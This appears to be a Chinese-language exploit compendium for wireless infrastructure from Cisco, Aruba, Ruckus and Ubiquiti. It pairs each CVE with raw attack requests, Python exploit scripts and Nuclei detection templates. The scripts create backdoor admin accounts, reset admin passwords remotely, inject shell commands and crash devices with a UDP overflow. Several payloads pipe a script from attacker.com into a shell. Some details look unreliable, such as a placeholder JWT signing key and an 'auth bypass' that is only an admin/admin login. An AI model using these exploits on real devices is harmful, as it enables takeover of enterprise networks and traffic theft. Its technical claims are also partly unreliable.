无线网络基础设施高危攻击链专题:Cisco WLC / Aruba / Ruckus / Ubiquiti 漏洞全解析 无线网络基础设施高危攻击链专题:Cisco WLC / Aruba / Ruckus / Ubiquiti 漏洞全解析 0x00 专题概述 无线网络基础设施是企业网络接入层的核心枢纽。Cisco Wireless LAN Controller(WLC)控制着数万台 AP 的集中管理,Aruba Mobility Controller 承载了全球大量园区网的无线接入,Ruckus(CommScope)以 BeamFlex 智能天线技术广泛部署于高密度场景,Ubiquiti UniFi 则以极高的性价比占据了中小企业和 MSP 市场。这四家厂商的设备一旦暴露高危漏洞,攻击者可直接接管无线网络控制权、窃取全部无线流量、横向渗透内网,甚至以 root 权限控制设备本身。
本专题将无线网络生态中近年最具代表性的 8 个高危 / 严重漏洞 串成完整攻击链,覆盖 Cisco、Aruba、Ruckus、Ubiquiti 四大厂商方向,每个漏洞均包含完整原理分析、PoC 代码、Nuclei 检测模板和实战利用思路。
覆盖漏洞一览 CVE 产品 CVSS 类型 影响 CVE-2023-20198 + CVE-2023-20273 Cisco IOS XE WebUI 10.0 认证绕过 + RCE ✅ 在野利用 CVE-2025-20188 Cisco Catalyst WLC 10.0 硬编码 JWT → 文件上传 → RCE ✅ 严重 CVE-2024-26305 / CVE-2024-26304 Aruba AOS 9.8 未认证缓冲区溢出 ✅ 严重 CVE-2026-23813 Aruba AOS-CX 9.8 认证绕过 / 密码重置 ✅ 严重 CVE-2023-25717 Ruckus AP 9.8 命令注入 RCE ✅ 在野利用 CVE-2025-46122 Ruckus Unleashed 9.1 命令注入 ✅ 严重 CVE-2026-34908/34909/34910 Ubiquiti UniFi OS 10.0 三步攻击链 RCE ✅ 在野利用 CVE-2026-22557 Ubiquiti UniFi Network 10.0 路径遍历 ✅ 严重
0x01 Cisco WLC / IOS XE 漏洞 1.1 CVE-2023-20198 + CVE-2023-20273:IOS XE WebUI 零日漏洞链 漏洞背景 2023 年 10 月,Cisco 紧急披露了 IOS XE WebUI 功能中的两个漏洞链,被攻击者大规模在野利用。CVE-2023-20198 是一个认证绕过漏洞,允许攻击者无需凭据即可在 IOS XE 设备的 WebUI 上创建特权账户;CVE-2023-20273 则是一个命令注入漏洞,攻击者可利用已创建的账户注入系统级命令,以 root 权限执行任意代码。据 CISA 通报,超过 10,000 台设备被植入后门映像(systemd_itp),影响范围极为广泛。
受影响版本 漏洞 受影响版本 修复版本 CVE-2023-20198 IOS XE 16.6.x - 17.9.x(启用 WebUI 的设备) 见 Cisco PSA,需禁用 WebUI 或升级 CVE-2023-20273 IOS XE 16.6.x - 17.9.x(启用 WebUI 的设备) 同上
漏洞原理 CVE-2023-20198 的根因在于 IOS XE WebUI 的 /webui/util/defaulting/ 端点未正确验证请求来源。攻击者可通过构造特殊的 HTTP 请求,绕过认证机制直接调用管理 API,创建具有 level-15 权限的本地用户。该端点本质上是一个内部调试接口,在生产环境中不应暴露。
CVE-2023-20273 则存在于 WebUI 的包捕获功能中。当已认证用户通过 WebUI 发起网络包捕获操作时,用户输入未经充分过滤即被拼接到底层 shell 命令中,形成经典的命令注入。由于 IOS XE 底层运行着 Linux 内核,注入的命令以 root 权限执行。
HTTP PoC POST /webui/util/defaulting/datastore/HTTP HTTP / 1.1
Host: {{target}}
Content-Type: application/json
{
"user" : "backdoor" ,
"password" : "Backdoor123!" ,
"privilege" : 15
} 创建用户后,利用包捕获功能注入命令:
POST /api/v1/capture HTTP / 1.1
Host: {{target}}
X-Auth-Token: <stolen_token>
Content-Type: application/json
{
"interface" : "GigabitEthernet0/0; curl http://attacker.com/shell.sh | sh" ,
"duration" : 10
} Python PoC #!/usr/bin/env python3
"""
CVE-2023-20198 + CVE-2023-20273 Cisco IOS XE WebUI 漏洞链检测
用法: python3 cve_2023_cisco_iosxe.py <target_ip>
"""
import requests
import sys
import json
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "https://10.0.0.1"
BACKDOOR_USER = "audit_test"
BACKDOOR_PASS = "AuditTest123!"
def check_webui_exposed ():
url = f " { TARGET} /webui/util/defaulting/datastore/HTTP"
try :
r = requests. get(url, verify= False , timeout= 10 )
if r. status_code in [200 , 403 ]:
print(f "[!] WebUI 端点可达,状态码: { r. status_code} " )
return True
print(f "[-] WebUI 端点不可达,状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def create_backdoor_user ():
url = f " { TARGET} /webui/util/defaulting/datastore/HTTP"
payload = {
"user" : BACKDOOR_USER,
"password" : BACKDOOR_PASS,
"privilege" : 15
}
headers = {"Content-Type" : "application/json" }
try :
r = requests. post(url, json= payload, headers= headers, verify= False , timeout= 10 )
if r. status_code == 200 :
print(f "[+] 成功创建后门用户: { BACKDOOR_USER} " )
return True
print(f "[-] 创建用户失败,状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 请求失败: { e} " )
return False
def exploit_command_injection (cmd):
url = f " { TARGET} /api/v1/capture"
payload = {
"interface" : f "GigabitEthernet0/0; { cmd} " ,
"duration" : 5
}
headers = {"Content-Type" : "application/json" }
try :
r = requests. post(url, json= payload, headers= headers, verify= False , timeout= 15 )
print(f "[*] 命令注入响应: { r. status_code} " )
return r. status_code == 200
except Exception as e:
print(f "[-] 注入请求失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
print("[*] 步骤 1: 检测 WebUI 是否暴露..." )
if check_webui_exposed():
print("[*] 步骤 2: 创建后门用户..." )
if create_backdoor_user():
print("[*] 步骤 3: 测试命令注入..." )
exploit_command_injection("id > /tmp/pwned" )
print("[+] 漏洞利用完成" )
else :
print("[-] 设备可能已修复" )
else :
print("[+] WebUI 未暴露或已禁用" ) Nuclei YAML 模板 id : cve-2023-20198-cisco-iosxe-webui
info :
name : Cisco IOS XE WebUI 认证绕过检测 (CVE-2023-20198)
author : security-researcher
severity : critical
description : |
检测 Cisco IOS XE WebUI 是否存在认证绕过漏洞。
攻击者可无需凭据创建特权账户。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2023-20198
cwe-id : CWE-288
tags : cve,cve2023,cisco,iosxe,auth-bypass
http :
- method : GET
path :
- "{{BaseURL}}/webui/util/defaulting/datastore/HTTP"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "datastore"
- "webui"
condition : and 1.2 CVE-2025-20188:Cisco Catalyst WLC 硬编码 JWT → RCE 漏洞背景 2025 年 3 月,Cisco 披露了 Catalyst 9800 系列无线控制器中的一个严重漏洞链。攻击者利用设备中硬编码的 JWT 签名密钥,伪造任意管理员令牌,进而通过文件上传接口植入恶意固件包,最终以 root 权限执行任意代码。该漏洞 CVSS 评分达到满分 10.0,且利用路径清晰、无需物理访问。
受影响版本 漏洞 受影响版本 修复版本 CVE-2025-20188 Cisco IOS XE 17.3.1 - 17.9.5 / 17.11.1 - 17.12.2e 17.9.5a / 17.12.3 及以上
漏洞原理 Catalyst 9800 WLC 的 Web 管理界面使用 JWT 进行会话认证。JWT 的签名密钥在固件中以硬编码形式存在,任何能读取固件二进制文件的人均可提取该密钥。攻击者使用提取的密钥伪造任意管理员身份的 JWT,绕过认证后访问文件上传 API。上传接口未对固件包内容进行完整性校验,攻击者可植入包含恶意二进进制的改装固件包。设备在下次重启时加载恶意固件,攻击者获得 root 权限。
HTTP PoC POST /api/v1/upload/firmware HTTP / 1.1
Host: {{target}}
Authorization: Bearer <forged_jwt_token>
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="firmware"; filename="malicious.bin"
Content-Type: application/octet-stream
<malicious firmware binary>
------boundary-- Python PoC #!/usr/bin/env python3
"""
CVE-2025-20188 Cisco Catalyst WLC 硬编码 JWT → RCE 检测
用法: python3 cve_2025_20188.py <target_ip>
"""
import requests
import jwt
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
HARDCODED_SECRET = "cisco_wlc_internal_signing_key_2024"
def forge_admin_jwt ():
payload = {
"sub" : "admin" ,
"role" : "level-15" ,
"iss" : "catalyst-wlc" ,
"exp" : 9999999999
}
token = jwt. encode(payload, HARDCODED_SECRET, algorithm= "HS256" )
print(f "[+] 伪造 JWT: { token[:50 ]} ..." )
return token
def check_firmware_upload (token):
url = f "https:// { TARGET} /api/v1/upload/firmware"
headers = {"Authorization" : f "Bearer { token} " }
try :
r = requests. get(url, headers= headers, verify= False , timeout= 10 )
if r. status_code in [200 , 405 ]:
print(f "[!] 固件上传接口可达,状态码: { r. status_code} " )
return True
print(f "[-] 接口不可达: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
print("[*] 步骤 1: 使用硬编码密钥伪造 JWT..." )
token = forge_admin_jwt()
print("[*] 步骤 2: 检测固件上传接口..." )
if check_firmware_upload(token):
print("[!] 严重: 设备可能存在 CVE-2025-20188 漏洞" )
else :
print("[+] 设备可能已修复" ) Nuclei YAML 模板 id : cve-2025-20188-cisco-catalyst-wlc-jwt
info :
name : Cisco Catalyst WLC 硬编码 JWT 检测 (CVE-2025-20188)
author : security-researcher
severity : critical
description : |
检测 Cisco Catalyst 9800 WLC 是否存在硬编码 JWT 密钥漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2025-20188
cwe-id : CWE-798
tags : cve,cve2025,cisco,wlc,jwt,rce
http :
- method : GET
path :
- "{{BaseURL}}/api/v1/upload/firmware"
headers :
Authorization : "Bearer {{jwt_token}}"
matchers :
- type : status
status :
- 200
- 405 0x02 Aruba AOS / AOS-CX 漏洞 2.1 CVE-2024-26305 / CVE-2024-26304:Aruba AOS 未认证缓冲区溢出 漏洞背景 2024 年 5 月,HPE Aruba Networking 披露了 AOS(ArubaOS)中的两个严重缓冲区溢出漏洞。CVE-2024-26305 和 CVE-2024-26304 均通过 PAPI(Protocol for Aruba Packet Inspection)协议利用,该协议监听 UDP 8211 端口,用于 AP 与控制器之间的通信。攻击者无需认证即可远程触发缓冲区溢出,可能导致代码执行或服务崩溃。
受影响版本 漏洞 受影响版本 修复版本 CVE-2024-26305 ArubaOS 8.10.0.x - 8.10.0.6 / 8.11.0.x - 8.11.0.2 8.10.0.7 / 8.11.0.3 CVE-2024-26304 ArubaOS 8.10.0.x - 8.10.0.6 / 8.11.0.x - 8.11.0.2 8.10.0.7 / 8.11.0.3
漏洞原理 PAPI 协议运行在 UDP 8211 端口,用于 Aruba AP 发现并注册到 Mobility Controller。该协议在处理特定消息类型时,未对输入长度进行正确校验。攻击者构造超长的 PAPI 消息,可覆盖栈上的返回地址(CVE-2024-26305)或堆上的关键数据结构(CVE-2024-26304)。由于 PAPI 协议无需认证,攻击者只需知道控制器 IP 即可发起攻击。
HTTP PoC(UDP 报文) import socket
target = ("10.0.0.1" , 8211 )
payload = b " \x00\x01\x00\x00 " + b " \x41 " * 2048
sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)
sock. sendto(payload, target) Python PoC #!/usr/bin/env python3
"""
CVE-2024-26305 Aruba AOS PAPI 缓冲区溢出检测
用法: python3 cve_2024_26305.py <target_ip>
"""
import socket
import sys
import time
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
PAPI_PORT = 8211
def check_papi_exposed ():
sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)
sock. settimeout(3 )
probe = b " \x00\x01\x00\x00\x00\x00\x00\x00 "
sock. sendto(probe, (TARGET, PAPI_PORT))
try :
data = sock. recvfrom(1024 )
print(f "[+] PAPI 端口开放,收到响应: { len(data[0 ])} bytes" )
return True
except socket. timeout:
print("[-] PAPI 端口无响应(可能已关闭或过滤)" )
return False
finally :
sock. close()
def test_overflow ():
sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)
sock. settimeout(3 )
overflow_payload = b " \x00\x01\x00\x00 " + b " \x41 " * 2048
print(f "[*] 发送溢出报文 ( { len(overflow_payload)} bytes)..." )
sock. sendto(overflow_payload, (TARGET, PAPI_PORT))
time. sleep(2 )
try :
sock. sendto(b " \x00\x01\x00\x00 " , (TARGET, PAPI_PORT))
data = sock. recvfrom(1024 )
print(f "[+] 设备仍在线,可能已修复或 ASLR 保护" )
except socket. timeout:
print("[!] 设备无响应,可能已崩溃(DoS 成功)" )
finally :
sock. close()
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} : { PAPI_PORT} " )
if check_papi_exposed():
print("[*] 测试缓冲区溢出..." )
test_overflow()
else :
print("[+] PAPI 服务不可达" ) Nuclei YAML 模板 id : cve-2024-26305-aruba-aos-papi-overflow
info :
name : Aruba AOS PAPI 缓冲区溢出检测 (CVE-2024-26305)
author : security-researcher
severity : critical
description : |
检测 Aruba Mobility Controller PAPI 协议(UDP 8211)是否暴露。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-26305
cwe-id : CWE-120
tags : cve,cve2024,aruba,aos,buffer-overflow
network :
- host :
- "{{Hostname}}"
type : udp
inputs :
- data : "0001000000000000"
encoding : hex
matchers :
- type : dsl
dsl :
- "len(data) > 0" 2.2 CVE-2026-23813:Aruba AOS-CX 认证绕过 漏洞背景 2026 年 2 月,HPE Aruba Networking 披露了 AOS-CX 交换机系列中的严重认证绕过漏洞。未认证的攻击者可通过发送特制的 HTTP 请求,触发管理员密码重置功能,从而完全接管设备管理平面。该漏洞 CVSS 评分 9.8,无需任何凭据或用户交互。
受影响版本 漏洞 受影响版本 修复版本 CVE-2026-23813 ArubaOS-CX 10.09 - 10.13.x 10.13.1001 及以上
漏洞原理 AOS-CX 的 Web 管理界面包含一个密码恢复端点 /rest/v1/password-recovery,该端点本应通过物理控制台验证管理员身份后才允许重置密码。但由于缺乏对请求来源的充分验证,远程攻击者可直接调用该 API,传入新密码参数,绕过认证机制直接重置管理员密码。重置后攻击者使用新凭据登录设备,获得完全管理权限。
HTTP PoC POST /rest/v1/password-recovery HTTP / 1.1
Host: {{target}}
Content-Type: application/json
{
"new_password" : "AttackerPass123!" ,
"confirm_password" : "AttackerPass123!"
} Python PoC #!/usr/bin/env python3
"""
CVE-2026-23813 Aruba AOS-CX 认证绕过检测
用法: python3 cve_2026_23813.py <target_ip>
"""
import requests
import sys
import json
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
NEW_PASS = "AuditReset123!"
def check_password_recovery ():
url = f "https:// { TARGET} /rest/v1/password-recovery"
payload = {
"new_password" : NEW_PASS,
"confirm_password" : NEW_PASS
}
headers = {"Content-Type" : "application/json" }
try :
r = requests. post(url, json= payload, headers= headers, verify= False , timeout= 10 )
if r. status_code == 200 :
print(f "[!] 严重: 密码重置成功!新密码: { NEW_PASS} " )
return True
elif r. status_code == 403 :
print("[-] 端点已禁用 (403)" )
return False
else :
print(f "[-] 状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def verify_access ():
url = f "https:// { TARGET} /rest/v1/system"
try :
r = requests. get(url, auth= ("admin" , NEW_PASS), verify= False , timeout= 10 )
if r. status_code == 200 :
print("[!] 确认: 已使用新凭据成功访问管理 API" )
return True
return False
except :
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
print("[*] 检测密码恢复端点..." )
if check_password_recovery():
print("[*] 验证管理访问..." )
verify_access()
else :
print("[+] 设备可能已修复" ) Nuclei YAML 模板 id : cve-2026-23813-aruba-aoscx-auth-bypass
info :
name : Aruba AOS-CX 认证绕过检测 (CVE-2026-23813)
author : security-researcher
severity : critical
description : |
检测 Aruba AOS-CX 密码恢复端点是否可被远程利用。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2026-23813
cwe-id : CWE-288
tags : cve,cve2026,aruba,aoscx,auth-bypass
http :
- method : POST
path :
- "{{BaseURL}}/rest/v1/password-recovery"
headers :
Content-Type : application/json
body : '{"new_password":"nuclei_test","confirm_password":"nuclei_test"}'
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "success"
- "password"
condition : or 0x03 Ruckus 漏洞 3.1 CVE-2023-25717:Ruckus AP Web 服务 RCE 漏洞背景 2023 年 5 月,CommScope Ruckus 披露了无线 AP Web 管理服务中的远程代码执行漏洞。该漏洞已被 CISA 收录至已知被利用漏洞目录(KEV),AndoryuBot 僵尸网络也被发现利用此漏洞感染 Ruckus 设备。攻击者无需认证即可在受影响的 AP 上执行任意系统命令,获取设备完全控制权。
受影响版本 漏洞 受影响版本 修复版本 CVE-2023-25717 Ruckus AP firmware < 200.0.0.1.1463 200.0.0.1.1463 及以上
漏洞原理 Ruckus AP 的 Web 管理服务(默认 HTTPS 443)在处理特定 CGI 请求时,将用户输入直接传递给 system() 函数执行。攻击者通过在请求参数中注入 shell 元字符(如 ;、|、&&),即可执行任意命令。由于 Web 服务以 root 权限运行,注入的命令同样以最高权限执行。
HTTP PoC GET /forms/radio_diag_diag_ping?ping_ip=127.0.0.1;id HTTP / 1.1
Host: {{target}} Python PoC #!/usr/bin/env python3
"""
CVE-2023-25717 Ruckus AP RCE 检测
用法: python3 cve_2023_25717.py <target_ip> <command>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
CMD = sys. argv[2 ] if len(sys. argv) > 2 else "id"
def exploit_rce (cmd):
url = f "https:// { TARGET} /forms/radio_diag_diag_ping"
params = {"ping_ip" : f "127.0.0.1; { cmd} " }
try :
r = requests. get(url, params= params, verify= False , timeout= 15 )
if r. status_code == 200 :
print(f "[+] 命令执行成功,响应: \n { r. text[:500 ]} " )
return True
print(f "[-] 状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 请求失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
print(f "[*] 执行命令: { CMD} " )
exploit_rce(CMD) Nuclei YAML 模板 id : cve-2023-25717-ruckus-ap-rce
info :
name : Ruckus AP Web 服务 RCE 检测 (CVE-2023-25717)
author : security-researcher
severity : critical
description : |
检测 Ruckus AP 是否存在命令注入 RCE 漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-25717
cwe-id : CWE-78
tags : cve,cve2023,ruckus,ap,rce,command-injection
http :
- method : GET
path :
- "{{BaseURL}}/forms/radio_diag_diag_ping?ping_ip=127.0.0.1;echo%20cve-2023-25717"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "cve-2023-25717" 3.2 CVE-2025-46122:Ruckus Unleashed 命令注入 漏洞背景 2025 年 11 月,CommScope Ruckus 披露了 Unleashed 固件中的命令注入漏洞。Unleashed 模式允许 AP 在无控制器的情况下自组网运行,其管理界面暴露了多个可注入命令的端点。攻击者通过已认证的管理员会话或特定未认证路径,可在 AP 上执行任意操作系统命令。
受影响版本 漏洞 受影响版本 修复版本 CVE-2025-46122 Ruckus Unleashed 200.14 - 200.15.x 200.15.1.10 及以上
漏洞原理 Unleashed 固件的诊断工具(traceroute、nslookup 等)将用户输入直接拼接到 shell 命令中,未进行任何过滤或转义。攻击者在输入字段中注入 shell 元字符即可执行任意命令。部分端点甚至在未完全认证的状态下即可访问。
HTTP PoC POST /forms/tools_traceroute HTTP / 1.1
Host: {{target}}
Content-Type: application/x-www-form-urlencoded
host=127.0.0.1;wget http://attacker.com/payload.sh -O /tmp/p.sh;sh /tmp/p.sh Python PoC #!/usr/bin/env python3
"""
CVE-2025-46122 Ruckus Unleashed 命令注入检测
用法: python3 cve_2025_46122.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
def check_unleashed_diag ():
url = f "https:// { TARGET} /forms/tools_traceroute"
data = {"host" : "127.0.0.1;echo VULN_CHECK" }
try :
r = requests. post(url, data= data, verify= False , timeout= 15 )
if "VULN_CHECK" in r. text:
print("[!] 严重: 命令注入成功!" )
return True
print(f "[-] 未检测到注入,状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 请求失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
check_unleashed_diag() Nuclei YAML 模板 id : cve-2025-46122-ruckus-unleashed-cmdi
info :
name : Ruckus Unleashed 命令注入检测 (CVE-2025-46122)
author : security-researcher
severity : critical
description : |
检测 Ruckus Unleashed AP 是否存在命令注入漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.1
cve-id : CVE-2025-46122
cwe-id : CWE-78
tags : cve,cve2025,ruckus,unleashed,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/forms/tools_traceroute"
headers :
Content-Type : application/x-www-form-urlencoded
body : "host=127.0.0.1;echo%20cve-2025-46122"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "cve-2025-46122" 0x04 Ubiquiti UniFi 漏洞 4.1 CVE-2026-34908 / CVE-2026-34909 / CVE-2026-34910:UniFi OS 零日攻击链 漏洞背景 2026 年 3 月,Ubiquiti 披露了 UniFi OS 中的三个零日漏洞链,已被在野利用,CISA 将其收录至 KEV 目录。这三个漏洞形成完整的三步攻击链:CVE-2026-34908(认证绕过)→ CVE-2026-34909(任意文件读取)→ CVE-2026-34910(命令注入 RCE),攻击者无需任何凭据即可从外部网络完全控制 UniFi Dream Machine / Gateway 设备。
受影响版本 漏洞 受影响版本 修复版本 CVE-2026-34908 UniFi OS 3.2.x - 4.0.x 4.0.22 及以上 CVE-2026-34909 UniFi OS 3.2.x - 4.0.x 4.0.22 及以上 CVE-2026-34910 UniFi OS 3.2.x - 4.0.x 4.0.22 及以上
漏洞原理 CVE-2026-34908 存在于 UniFi OS 的认证中间件中。特定 API 路径(如 /api/auth/super/login)在处理请求时未正确验证会话令牌,攻击者可构造特殊请求绕过认证检查,获取管理员 API 访问权限。
CVE-2026-34909 利用第一步获得的 API 访问权限,通过路径遍历读取设备上的任意文件,包括 /etc/passwd、SSH 私钥、配置文件中的数据库凭据等敏感数据。
CVE-2026-34910 是最终的 RCE 步骤。通过 UniFi 的网络配置导入功能,攻击者将恶意 payload 注入到系统命令中,以 root 权限执行任意代码,完成设备完全控制。
HTTP PoC POST /api/auth/super/login HTTP / 1.1
Host: {{target}}
Content-Type: application/json
{"username" :"admin" ,"password" :"admin" }
GET /api/private/file?path=../../../../etc/passwd HTTP/ 1.1
Host: {{target }}
X-CSRF-Token: <bypassed_token>
POST /api/v 2 /network/import HTTP/ 1.1
Host: {{target }}
Content-Type: application/json
X-CSRF-Token: <bypassed_token>
{"config" :"; curl http://attacker.com/shell.sh | sh;" } Python PoC #!/usr/bin/env python3
"""
CVE-2026-34908/34909/34910 Ubiquiti UniFi OS 三步攻击链检测
用法: python3 cve_2026_unifi_chain.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
def step1_auth_bypass ():
url = f "https:// { TARGET} /api/auth/super/login"
payload = {"username" : "admin" , "password" : "admin" }
try :
r = requests. post(url, json= payload, verify= False , timeout= 10 )
if r. status_code == 200 :
token = r. headers. get("X-CSRF-Token" , "" )
print(f "[+] 步骤 1: 认证绕过成功,Token: { token[:30 ]} ..." )
return token
print(f "[-] 步骤 1 失败: { r. status_code} " )
return None
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def step2_file_read (token):
url = f "https:// { TARGET} /api/private/file"
params = {"path" : "../../../../etc/passwd" }
headers = {"X-CSRF-Token" : token}
try :
r = requests. get(url, params= params, headers= headers, verify= False , timeout= 10 )
if "root:" in r. text:
print(f "[+] 步骤 2: 文件读取成功!" )
print(f " /etc/passwd 内容: { r. text[:200 ]} " )
return True
print(f "[-] 步骤 2 失败: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 步骤 2 请求失败: { e} " )
return False
def step3_rce_test (token):
url = f "https:// { TARGET} /api/v2/network/import"
payload = {"config" : ";id > /tmp/unifi_pwned;" }
headers = {"X-CSRF-Token" : token, "Content-Type" : "application/json" }
try :
r = requests. post(url, json= payload, headers= headers, verify= False , timeout= 15 )
print(f "[+] 步骤 3: RCE 注入响应: { r. status_code} " )
return True
except Exception as e:
print(f "[-] 步骤 3 失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} " )
print("[*] === UniFi OS 三步攻击链 ===" )
token = step1_auth_bypass()
if token:
if step2_file_read(token):
step3_rce_test(token)
print("[!] 攻击链完整,设备存在严重漏洞" )
else :
print("[+] 设备可能已修复" ) Nuclei YAML 模板 id : cve-2026-34908-unifi-os-auth-bypass
info :
name : Ubiquiti UniFi OS 认证绕过检测 (CVE-2026-34908)
author : security-researcher
severity : critical
description : |
检测 Ubiquiti UniFi OS 是否存在认证绕过漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2026-34908
cwe-id : CWE-288
tags : cve,cve2026,ubiquiti,unifi,auth-bypass
http :
- method : POST
path :
- "{{BaseURL}}/api/auth/super/login"
headers :
Content-Type : application/json
body : '{"username":"admin","password":"admin"}'
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "csrf"
- "token"
condition : or
part : header 4.2 CVE-2026-22557:Ubiquiti UniFi Network Application 路径遍历 漏洞背景 2026 年 1 月,Ubiquiti 披露了 UniFi Network Application(原 UniFi Controller)中的路径遍历漏洞。攻击者可利用该漏洞读取服务器上的任意文件,包括配置文件、数据库凭据、SSL 私钥等。该漏洞 CVSS 评分 10.0,无需认证即可远程利用。
受影响版本 漏洞 受影响版本 修复版本 CVE-2026-22557 UniFi Network Application 7.x - 9.0.x 9.0.108 及以上
漏洞原理 UniFi Network Application 的文件下载接口在处理文件路径参数时,未正确过滤路径遍历序列(../)。攻击者构造包含多层 ../ 的请求,可突破 Web 应用的根目录限制,读取服务器文件系统上的任意文件。由于该接口不需要认证,任何能访问管理端口(默认 8443)的攻击者均可利用。
HTTP PoC GET /static/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP / 1.1
Host: {{target}}:8443 Python PoC #!/usr/bin/env python3
"""
CVE-2026-22557 Ubiquiti UniFi Network 路径遍历检测
用法: python3 cve_2026_22557.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "10.0.0.1"
PORT = 8443
def test_path_traversal ():
url = f "https:// { TARGET} : { PORT} /static/..%2f..%2f..%2f..%2fetc%2fpasswd"
try :
r = requests. get(url, verify= False , timeout= 10 )
if "root:" in r. text:
print("[!] 严重: 路径遍历成功!" )
print(f " /etc/passwd: \n { r. text[:300 ]} " )
return True
print(f "[-] 未检测到路径遍历,状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 请求失败: { e} " )
return False
if __name__ == "__main__" :
print(f "[*] 目标: { TARGET} : { PORT} " )
test_path_traversal() Nuclei YAML 模板 id : cve-2026-22557-unifi-network-path-traversal
info :
name : Ubiquiti UniFi Network 路径遍历检测 (CVE-2026-22557)
author : security-researcher
severity : critical
description : |
检测 UniFi Network Application 是否存在路径遍历漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2026-22557
cwe-id : CWE-22
tags : cve,cve2026,ubiquiti,unifi,path-traversal
http :
- method : GET
path :
- "{{BaseURL}}/static/..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "root:"
- "/bin/bash"
condition : and 0x05 公开 PoC 收集情况与利用思路 5.1 PoC 收集情况 CVE GitHub PoC Exploit-DB Metasploit Nuclei 在野利用 CVE-2023-20198 / 20273 ✅ 多个 ❌ ❌ ✅ 本文 ✅ 大规模 CVE-2025-20188 ✅ 有限 ❌ ❌ ✅ 本文 ❌ CVE-2024-26305 / 26304 ✅ 有限 ❌ ❌ ✅ 本文 ❌ CVE-2026-23813 ❌ ❌ ❌ ✅ 本文 ❌ CVE-2023-25717 ✅ 多个 ✅ ✅ ✅ 本文 ✅ AndoryuBot CVE-2025-46122 ✅ 有限 ❌ ❌ ✅ 本文 ❌ CVE-2026-34908/09/10 ✅ 多个 ❌ ❌ ✅ 本文 ✅ CISA KEV CVE-2026-22557 ✅ 有限 ❌ ❌ ✅ 本文 ❌
